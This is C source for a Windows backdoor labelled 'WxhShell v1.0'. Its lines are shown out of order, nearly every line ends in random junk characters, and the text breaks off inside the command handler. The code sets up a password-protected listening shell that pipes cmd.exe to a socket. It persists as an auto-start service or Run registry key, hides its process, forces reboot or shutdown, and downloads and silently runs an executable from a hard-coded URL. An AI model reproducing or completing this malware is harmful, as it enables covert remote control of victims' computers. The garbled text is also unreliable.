    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,/ig8~u'c  
    else { =}"hC`3e  
    closesocket(wsh); 8 [."%rzN  
    ExitThread(0); m X1oRhf  
    } q}1$OsM  
    break; 6aK--k  
    } Cg|uHI*  
  // 获取shell 0$_imjZ  
  case 's': { `i:0dVs  
    CmdShell(wsh); 7lj-Z~1  
    closesocket(wsh); 7S7!  
    ExitThread(0); Y}#^n7*w~  
    break; .>nd@oU  
  } $tKATL*  
  // 退出 :cEe4a  
  case 'x': { S BoF (0<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?^!dLW  
    CloseIt(wsh); 1!C,pXU#:  
    break; Kk(ucO  
    } cU6#^PFu  
  // 离开 E0h p%:  
  case 'q': { .5ycO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *h%G4M  
    closesocket(wsh); KN`z68c4L  
    WSACleanup(); Q+Fw =Xw  
    exit(1); ppD ~xg]  
    break; A X#!9-m3  
        } U`Ag|R  
  } A-u5  
  } ]VH@\ f  
WuQYEbap  
  // 提示信息 8{l=`y"nB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .0-m=3mp2  
} ykeUS zz2  
  } Y_B 4s-  
iL gt_@g  
  return; {.OoOqq9  
} (R}X( u  
yfW^wyDd2o  
// shell模块句柄 T ?? aVe]c  
int CmdShell(SOCKET sock) *;d)'7<  
{ <`*P/V  
STARTUPINFO si; #]N9/Hij#g  
ZeroMemory(&si,sizeof(si)); ^k(eRs;K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; . R}y"O\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bLzuaNa'  
PROCESS_INFORMATION ProcessInfo; o5@ jMU;  
char cmdline[]="cmd"; /#=J`*m_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A m1W<`  
  return 0; FlG^'UD  
} 1c"m$)a4  
4w6K|v<X  
// 自身启动模式 Y fA\#N0;3  
int StartFromService(void) X&~Eo  
{ p4EItRZS  
typedef struct M\6`2q  
{ gc~h!%'.I  
  DWORD ExitStatus; uPXqTkod  
  DWORD PebBaseAddress; &s;^q  
  DWORD AffinityMask; yy1r,dw  
  DWORD BasePriority; <3x#(ms!!  
  ULONG UniqueProcessId; Ve1] ECk  
  ULONG InheritedFromUniqueProcessId; IpXhb[UZ?  
}   PROCESS_BASIC_INFORMATION; \KXEw2S  
z}tp0~C  
PROCNTQSIP NtQueryInformationProcess; l,L=VDEz,  
sr+mY;   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; an`(?6d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ncr-i!Jjk  
P/9J!.Cm  
  HANDLE             hProcess; L,pSdeq  
  PROCESS_BASIC_INFORMATION pbi; 2vN(z %p  
I{I [N &N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J-<B*ot+lX  
  if(NULL == hInst ) return 0; B[B<U~I}  
\=V[ba:q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cgeS)C7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mRY6[*u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uW9M&"C~  
kte.E%.PE  
  if (!NtQueryInformationProcess) return 0; C+?s~JL  
7 aD&\?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \X.=3lc&  
  if(!hProcess) return 0; 'sBXH EZA]  
z 2VCK@0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 32LB*zc  
<&%1pZ/6.  
  CloseHandle(hProcess); C(HmLEB^  
5a!e%jj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PB67 ?d~  
if(hProcess==NULL) return 0; yN<fmi};c  
VFSn!o:C  
HMODULE hMod; ,HkhKbQ  
char procName[255]; z8 ;#H tr  
unsigned long cbNeeded; *b{lL5  
?mR[A`J58  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mh7sY;SvM  
67\Ojl~(1  
  CloseHandle(hProcess); sg"D;b:X  
Z"|P(]A  
if(strstr(procName,"services")) return 1; // 以服务启动 xM//]  
]N"F?3J 8  
  return 0; // 注册表启动 X7d.Ie  
} fP1OH&Ar  
s8d}HI  
// 主模块 ?EQ^n3U$  
int StartWxhshell(LPSTR lpCmdLine) 3e6Y  
{ q;zf|'&*7C  
  SOCKET wsl; X5|/s::u  
BOOL val=TRUE;  5vF}F^  
  int port=0; 9r+O!kF(  
  struct sockaddr_in door; h4\6h  
'(X[ w=WXy  
  if(wscfg.ws_autoins) Install(); b\;u9C2y'  
`-EH0'w~"  
port=atoi(lpCmdLine); |ch^eb^7"  
G+ X [R^RD  
if(port<=0) port=wscfg.ws_port; d74g|`/  
i;hc]fYb=K  
  WSADATA data; niHL/\7u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jJ"EGFa8  
T|s0qQi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   71"JL",  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zMYd|2bc  
  door.sin_family = AF_INET; "I}Z2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l5Wa'~0qA  
  door.sin_port = htons(port); 0yC`9g)(  
!HjNx%o5<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mHEf-6|C`  
closesocket(wsl); 7 Jx-W|  
return 1; ivX37,B\bS  
} <j 9Mt=8M  
"x|NG,<[9  
  if(listen(wsl,2) == INVALID_SOCKET) { }t51U0b%  
closesocket(wsl); XCIa2Syo  
return 1; +Sd,l>8\  
} R=?po=  
  Wxhshell(wsl); "c/s/$k//  
  WSACleanup(); Ryq"\Q>+  
ZutB_uW  
return 0; loUl$X.u  
fEw=I7{Y  
} z34>,0  
d$_q=ywc  
// 以NT服务方式启动 ?5yH'9zE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sjzXJ`s  
{ Sn0gTsZ  
DWORD   status = 0; 0)oN[  
  DWORD   specificError = 0xfffffff; k<Tez{<  
3Q$'qZw p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *Cnq2=A]A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^5 ^}MB%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _rMT{q3  
  serviceStatus.dwWin32ExitCode     = 0; 5':Gu}Vq  
  serviceStatus.dwServiceSpecificExitCode = 0; nSxb-Ce  
  serviceStatus.dwCheckPoint       = 0; hyOm9WU  
  serviceStatus.dwWaitHint       = 0; .i+* #djx  
@v ~ Pwr!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <m>l-]  
  if (hServiceStatusHandle==0) return; PNJe&q0*  
M[K0t>ih  
status = GetLastError(); ;>Ca(Y2M  
  if (status!=NO_ERROR) /iUUM t'  
{ \POnsM)+l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \|~?x#aA  
    serviceStatus.dwCheckPoint       = 0; !FB \h<6  
    serviceStatus.dwWaitHint       = 0; %Nm @f'  
    serviceStatus.dwWin32ExitCode     = status; l7'{OB L  
    serviceStatus.dwServiceSpecificExitCode = specificError; lkg"'p{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R#/?AD&  
    return; o'eI(@{F=  
  } G;Wkm|  
7V=MRf&xQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %K^gUd>,R  
  serviceStatus.dwCheckPoint       = 0; )8$:DW;  
  serviceStatus.dwWaitHint       = 0; !eR-Kor  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g%\$ !b  
} }(ma__Ao  
Vm~qk  
// 处理NT服务事件,比如:启动、停止 /esVuz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >:jM}*dnL  
{ om}/f`  
switch(fdwControl) {xv?wenE  
{ 9fNu?dE   
case SERVICE_CONTROL_STOP: Ak6MPuBB-  
  serviceStatus.dwWin32ExitCode = 0; ?Q96,T-) c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PEW4J{(W  
  serviceStatus.dwCheckPoint   = 0; xJ~ gT  
  serviceStatus.dwWaitHint     = 0; `S\zqF<  
  { ^Ti_<<X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -^iUVO`z  
  } $Ns,ts(ng  
  return; rBD(2M  
case SERVICE_CONTROL_PAUSE: 2$ |]Vj*Zs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3I"NI.>*  
  break; *K(k Kph  
case SERVICE_CONTROL_CONTINUE: +}^|dkc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W|25t)cJ8h  
  break; ^sifEgG*d  
case SERVICE_CONTROL_INTERROGATE: ;8ET!&k*>E  
  break; bo@,4xw  
}; ~+N76BX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *;hY.EuoFz  
} V#0 dGP-Z  
U@6jOZ  
// 标准应用程序主函数 MzQ\rg_B7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pb^,Qvnp   
{ ]*N:;J  
'qL5$zG  
// 获取操作系统版本 !K3})& w  
OsIsNt=GetOsVer(); 5@`F.F>"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 38c?^  
y=AsgJ  
  // 从命令行安装 NunV8atn:  
  if(strpbrk(lpCmdLine,"iI")) Install(); :n'yQ#[rn  
0#oBXu  
  // 下载执行文件 sM9FE{,mx  
if(wscfg.ws_downexe) { @Od^k#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H8@8MFz\  
  WinExec(wscfg.ws_filenam,SW_HIDE); "z^(dF|  
} q,B3ru.?d  
e>l,(ql  
if(!OsIsNt) { i:o}!RZ>  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZFS7{:  
HideProc();  nbI= r+  
StartWxhshell(lpCmdLine); AGOx@;w  
} I-b_h5ZD6  
else d2rL 8jW  
  if(StartFromService()) TE^7P0bh  
  // 以服务方式启动 0"EoC  
  StartServiceCtrlDispatcher(DispatchTable); "S5S|dBc  
else XTJvV  
  // 普通方式启动 vSOT*0r  
  StartWxhshell(lpCmdLine); EgTFwEj  
bfgz1 `u  
return 0; ao#!7F  
} M[, D  *  
4% HGMr  
AL$W+')  
bGv* -;*  
=========================================== L#D9@V'z  
*q0`})IQ  
o`bo#A  
#HeM,;Xp  
25:Z;J>  
x# VyQ[ok  
" k$h [8l( <  
LVnHt}  
#include <stdio.h> H@{Objh 1  
#include <string.h> 4j> fI)FUW  
#include <windows.h> lT]=&m>  
#include <winsock2.h> >':5?\C+-  
#include <winsvc.h> b1u}fp GF  
#include <urlmon.h> '>@4(=I  
LP:nba :  
#pragma comment (lib, "Ws2_32.lib") $5,~JYcb  
#pragma comment (lib, "urlmon.lib") !tEe\K\e  
9)+@0fG)  
#define MAX_USER   100 // 最大客户端连接数 -G9|n#zCU  
#define BUF_SOCK   200 // sock buffer G.g|jP'n  
#define KEY_BUFF   255 // 输入 buffer iq?l#}]  
eNRs&^  
#define REBOOT     0   // 重启 !X|k"km"  
#define SHUTDOWN   1   // 关机 $X*mdji  
#~^btL'dHF  
#define DEF_PORT   5000 // 监听端口 Ln. 9|9  
rK7W(D}  
#define REG_LEN     16   // 注册表键长度 $I@GUtzjp  
#define SVC_LEN     80   // NT服务名长度 ,CciTXf  
J$Fnm\  
// 从dll定义API c<wavvfUo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P;vxT}1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @6 /yu>%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vtb1[cnna  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n`(~O O  
-4w%Iy  
// wxhshell配置信息 rK1-Mu  
struct WSCFG { Z!6UW:&~7  
  int ws_port;         // 监听端口 ?  -3\  
  char ws_passstr[REG_LEN]; // 口令 )RN<GW'  
  int ws_autoins;       // 安装标记, 1=yes 0=no  ~,"N[Q  
  char ws_regname[REG_LEN]; // 注册表键名 B8T\s)fxnX  
  char ws_svcname[REG_LEN]; // 服务名 +4et7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %,\=s.~1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xRum*}|4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !K cWH9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !\-WEQrp\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >"v9iT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pMR,#[U<  
1<.5ub*i4  
}; RRADg^}l|"  
TBCp L]QT  
// default Wxhshell configuration w(U:U-MNe  
struct WSCFG wscfg={DEF_PORT, ESTM$k }X  
    "xuhuanlingzhe", %@?A_jS  
    1, TVaA>]Fv  
    "Wxhshell", {$d<1y^  
    "Wxhshell", y6-XHeU  
            "WxhShell Service", Q&CElx?L  
    "Wrsky Windows CmdShell Service", `'i( U7?  
    "Please Input Your Password: ", h7]EB!D\A  
  1, ? }yfKU`  
  "http://www.wrsky.com/wxhshell.exe", 7]E m ,  
  "Wxhshell.exe" s"%lFA"-  
    }; 4zjs!AK%  
5G[x}4U  
// 消息定义模块 xCXQ<77  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HeLG?6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p@~ic#X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; irbw'^;y  
char *msg_ws_ext="\n\rExit."; R_ ZK0ar  
char *msg_ws_end="\n\rQuit."; $TG =w  
char *msg_ws_boot="\n\rReboot..."; ?>$l  
char *msg_ws_poff="\n\rShutdown..."; LlHa5]E@6  
char *msg_ws_down="\n\rSave to "; edipA P~!  
kJ{+M]pW  
char *msg_ws_err="\n\rErr!"; %Jp|z? [/  
char *msg_ws_ok="\n\rOK!"; vDFGd-S  
AiP!hw/V$  
char ExeFile[MAX_PATH]; / vxm"CJR  
int nUser = 0; os4{0Mxu  
HANDLE handles[MAX_USER]; u5B:^.:p  
int OsIsNt; dtZE67KS  
4;<ut$G  
SERVICE_STATUS       serviceStatus; Dnw|%6Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Fh8lmOL;?  
) 1 m">s4  
// 函数声明 (W[V? !1  
int Install(void); DF_X  
int Uninstall(void); lk3=4|?zsE  
int DownloadFile(char *sURL, SOCKET wsh); !4(zp;WY^  
int Boot(int flag); o]ePP,  
void HideProc(void); :Y P#  
int GetOsVer(void); 7f3O  
int Wxhshell(SOCKET wsl); AY,].Zg[  
void TalkWithClient(void *cs); .iG&Lw\,  
int CmdShell(SOCKET sock); k V;fD$iW;  
int StartFromService(void); 7fHc[,  
int StartWxhshell(LPSTR lpCmdLine); -0Cnp/Yj@  
~q+hV+fa>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +s++7<C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S >yLqPp  
[sF(#Y:I  
// 数据结构和表定义 G2Vv i[c  
SERVICE_TABLE_ENTRY DispatchTable[] = P 43P]M2  
{ 0[Ht_qxb  
{wscfg.ws_svcname, NTServiceMain}, rx0~`cVV:  
{NULL, NULL} -' g*^  
}; a u7.4ln>Y  
v&a4^s  
// 自我安装 W,XTF  
int Install(void) Djq!P  
{ 3^?ZG^V  
  char svExeFile[MAX_PATH]; 30>3 !Xqa  
  HKEY key; *`_{  
  strcpy(svExeFile,ExeFile); r [:   
n/~A`%E@  
// 如果是win9x系统,修改注册表设为自启动 zCv"]%  
if(!OsIsNt) { #bH_Dg5I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c(#;_Ve2P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4_A0rveP  
  RegCloseKey(key); U8.7>ENnP&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _>+8og/%@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]hos+;4p  
  RegCloseKey(key); +{<#(}  
  return 0; ^D%FX!$  
    } U*3J+Y  
  } YNwp/Y  
} km~Ll   
else { bKg8rK u  
2i;7{7  
// 如果是NT以上系统,安装为系统服务 :cB=SYcC%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oVFnl A  
if (schSCManager!=0) Xpe)PXb  
{ %D$]VSP;  
  SC_HANDLE schService = CreateService 0:w"M<80  
  ( I$q]. B  
  schSCManager, vM:cWat  
  wscfg.ws_svcname, a=cvCf  
  wscfg.ws_svcdisp, Ar*^ ;/  
  SERVICE_ALL_ACCESS, jTO), v:w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b 5yW_Ozdh  
  SERVICE_AUTO_START, ;OqB5qd  
  SERVICE_ERROR_NORMAL, CI353-`  
  svExeFile, MZ+^-@X  
  NULL, ls@i".[  
  NULL, *Kdda} J+  
  NULL, p sL?Y  
  NULL, }\J2?Et{  
  NULL P3$Q&^?  
  ); OnQdq^UB  
  if (schService!=0) .7K7h^*F  
  { `]Q:-h  
  CloseServiceHandle(schService); V"c 6Kdtd  
  CloseServiceHandle(schSCManager); =[b)1FUp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RuII!}*  
  strcat(svExeFile,wscfg.ws_svcname); /1Ue?)g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ck?YI]q|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dXF^(y]l  
  RegCloseKey(key); DC{>TC[p1k  
  return 0; ,) J~,^f6  
    } 9IX/wm"  
  } 93Co}@Y;Y+  
  CloseServiceHandle(schSCManager); 3EJt%}V$k  
} :VTTh |E%#  
} ns6(cJ^a  
xJ#d1[kzo  
return 1; J8mdoVt  
} SkmT`*v@  
:POj6j/  
// 自我卸载 ^0/j0]O  
int Uninstall(void) ;L']e"G  
{ CrwwU7qKL  
  HKEY key; 5[c^TJ3  
feQ **wI  
if(!OsIsNt) { +v=C@2T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |PC*=ykT3  
  RegDeleteValue(key,wscfg.ws_regname); j~!X;PV3  
  RegCloseKey(key); ~l)-wNqR4r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w.[ "p9tc  
  RegDeleteValue(key,wscfg.ws_regname); ;q*e=[_DF  
  RegCloseKey(key); M5 <@~V/[  
  return 0; ^]TVo\,N  
  } c%MW\qx  
} l1f\=G?tmU  
} %i5M77#Z  
else { \otWd  
 4^M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gLOEh6  
if (schSCManager!=0) 30SW\@  
{ Ytl4kaYS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9I4K}R  
  if (schService!=0) rk #sy$  
  { BocSwf;v.  
  if(DeleteService(schService)!=0) { V#iPj'*   
  CloseServiceHandle(schService); V,%=AR5  
  CloseServiceHandle(schSCManager); S:O O0<W  
  return 0; xL\0B,]  
  } r,h%[JKM  
  CloseServiceHandle(schService); >r !|sC  
  } $m/)FnU/  
  CloseServiceHandle(schSCManager); ZjF 4v  
} )c)vTZy  
} s,]z[qB#$  
zx)z/1  
return 1; Y\No4w ^|d  
} , GP?amh  
HhvdqvIEG  
// 从指定url下载文件 neLAEHV  
int DownloadFile(char *sURL, SOCKET wsh) Eea*s'  
{ Dy:|g1>  
  HRESULT hr; z*a:L}$  
char seps[]= "/"; 2+e}*&iQpp  
char *token; d>mo~  
char *file; NA~Vg8  
char myURL[MAX_PATH]; tP$<UKtU  
char myFILE[MAX_PATH]; [D\k^h  
]GW]dM  
strcpy(myURL,sURL); vkri+:S3  
  token=strtok(myURL,seps); lE4HM$p   
  while(token!=NULL) $7^o#2 B  
  { pe 1R(|H  
    file=token; :gWu9Y|{  
  token=strtok(NULL,seps); 1pgU}sRk  
  } E? ; 0)'h  
T7hcnF$  
GetCurrentDirectory(MAX_PATH,myFILE); |R/%D%_g  
strcat(myFILE, "\\"); A;]}m8(*  
strcat(myFILE, file); DK: o]~n  
  send(wsh,myFILE,strlen(myFILE),0); q1d}{DU  
send(wsh,"...",3,0); [J?aD`{#O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F^];U+J  
  if(hr==S_OK) <+?7H\b  
return 0; Z/Dx,zIR  
else ;'#8tGv=  
return 1; woGAf)vV#  
t*1fLumXR  
} 7`DBS^O]dG  
$#9;)8J  
// 系统电源模块 .uMn0PE   
int Boot(int flag) e?8FN. q  
{ $Avjnm  
  HANDLE hToken; pL/DZ|S3  
  TOKEN_PRIVILEGES tkp; *V8<:OG|e  
{tYZt4!{^  
  if(OsIsNt) { %N>%!m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2y;Skp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N_W}*2(  
    tkp.PrivilegeCount = 1; 8c9*\S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _x(o*v[Pt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); __G?0*3G  
if(flag==REBOOT) { &m)6J'q3k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pZqq]mHK  
  return 0;  KY$)#i  
} >4TaP*_  
else { r\'A i6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o$jLzE"  
  return 0; W{6|tx)  
} Y 5- F@(  
  } \/zq7j  
  else { YIQ 4t  
if(flag==REBOOT) { N"Zt47(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0"  
  return 0; $_"'&zQ'  
} 7q?, ?  
else { 3Q.#c,`jV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FWrX3i  
  return 0; SB H(y)  
} C zs8!S  
} 5YE'L.  
DgId_\Ze  
return 1; sBvzAVBL  
} Ezc?#<+7  
e>+i>/Fn{h  
// win9x进程隐藏模块 qr"3y  
void HideProc(void) x[ ~b2o  
{ Lt?lv2k=L  
gmw|H?]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cQCSe,$ W  
  if ( hKernel != NULL ) tkeoNuAM  
  { |"ls\ 7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Yvw(t j5_5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ayR-\mZ  
    FreeLibrary(hKernel); M?Y;a5{  
  } ,8U &?8l  
snE8 K}4  
return; bzBEX mC  
} x<tb  
i [7\[  
// 获取操作系统版本 ^}/PGG\~r  
int GetOsVer(void) le|~BG hL  
{ <\r T%f}3^  
  OSVERSIONINFO winfo; UZ\u;/}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4":KoS`,j  
  GetVersionEx(&winfo); _|kxY '_[8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J=9FRC  
  return 1; YxYH2*q@  
  else >JHryS.j$4  
  return 0; g:g\>@Umo  
} h \fjBDU^  
P+@/O  
// 客户端句柄模块 I8hz(2jI  
int Wxhshell(SOCKET wsl) Aza /6OL  
{ dk[!V1x4\  
  SOCKET wsh; yj 3cyLXw  
  struct sockaddr_in client; 5d Eh7XL  
  DWORD myID; T*Y~\~Jhu  
[kVS O  
  while(nUser<MAX_USER) a!6{:8Zi0  
{ >)fi^  
  int nSize=sizeof(client); q/4J.j L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9UdM`v)(  
  if(wsh==INVALID_SOCKET) return 1; rK'L6o  
=upeRY@u5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u^@f&BIG]:  
if(handles[nUser]==0) }eCw6  
  closesocket(wsh); > kG GR  
else '\l"   
  nUser++; "jeb%k  
  } Qp)v?k ]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vz~{UHH6  
?8npG]L)  
  return 0; tU}h~&M  
} UdT *E: 6  
%a>&5V  
// 关闭 socket Si2k"<5 U  
void CloseIt(SOCKET wsh) @>r._ ~  
{ 7OcW C-<  
closesocket(wsh); q<xCb%#Jl  
nUser--; [%"|G9  
ExitThread(0); }"nItcp.1  
} YqhAZp<  
'nzg6^I7g  
// 客户端请求句柄 $p1(He0 2  
void TalkWithClient(void *cs) I5k$H$  
{ nsu@h  
Xb|:vr\v  
  SOCKET wsh=(SOCKET)cs; bn|I> e  
  char pwd[SVC_LEN]; CKYc\<zR0l  
  char cmd[KEY_BUFF]; :%l TU  
char chr[1]; }MJy +Z8&  
int i,j; w$3 ,A$8  
py$Q  
  while (nUser < MAX_USER) { z`.<U{5  
pNG:0  
if(wscfg.ws_passstr) { $t$ShT)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y;35WtDVb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j+i\bks  
  //ZeroMemory(pwd,KEY_BUFF); X&tF;<m^  
      i=0; Q- cFtu-w  
  while(i<SVC_LEN) { m|SUV  
Rvqq.I8aC  
  // 设置超时 RD!&LFz/}  
  fd_set FdRead; &jS>UsGh  
  struct timeval TimeOut; z Xg3[orF  
  FD_ZERO(&FdRead); xT3BHnQ(  
  FD_SET(wsh,&FdRead); k :(SCHf  
  TimeOut.tv_sec=8; ISYXH9V  
  TimeOut.tv_usec=0; (ZS}G8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]FJjgu<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =6j&4p `  
R{C(K(5/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `l\7+0W  
  pwd=chr[0]; m( r,Acy6  
  if(chr[0]==0xd || chr[0]==0xa) { =:xW>@bh|  
  pwd=0; +%+tr*04O  
  break; KoOz#,()  
  } rMdt:`  
  i++; ?h$NAL?  
    } ef 8s<5"4  
AHD=<7Rs  
  // 如果是非法用户,关闭 socket ]0Y4U7W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,82S=N5V!  
} A!od9W6  
52@C9Q,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]i|h(>QWP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cq,SP&T~  
p)KheLiZ  
while(1) { &y\prip  
Gw}%{=D9  
  ZeroMemory(cmd,KEY_BUFF); n<Z({\9&H  
tIWmp30S  
      // 自动支持客户端 telnet标准   |6.l7u ?d  
  j=0; p2hB8zL  
  while(j<KEY_BUFF) { =mO vs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GA$V0YQX  
  cmd[j]=chr[0]; .T}Wdn g  
  if(chr[0]==0xa || chr[0]==0xd) { QVv#fy1"6  
  cmd[j]=0; P}Gj %4/G  
  break; "Bh}}!13  
  } !]"@kl%  
  j++; 6LvW?z(J  
    } Q)~aiI0  
0CZ :Bo[3  
  // 下载文件 g{7.r-uu  
  if(strstr(cmd,"http://")) { AuvkecuIh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G~F b  
  if(DownloadFile(cmd,wsh)) B7VH<;Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^%d\qd`   
  else YX!{P=Ua  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n7zm>&  
  } .UQzPnK  
  else { 0.\/\V:H6  
qSM|hHDo)  
    switch(cmd[0]) { cutuDZ  
  Q$a{\*[:+  
  // 帮助 +! ]zA4x  
  case '?': { .u)X3..J  
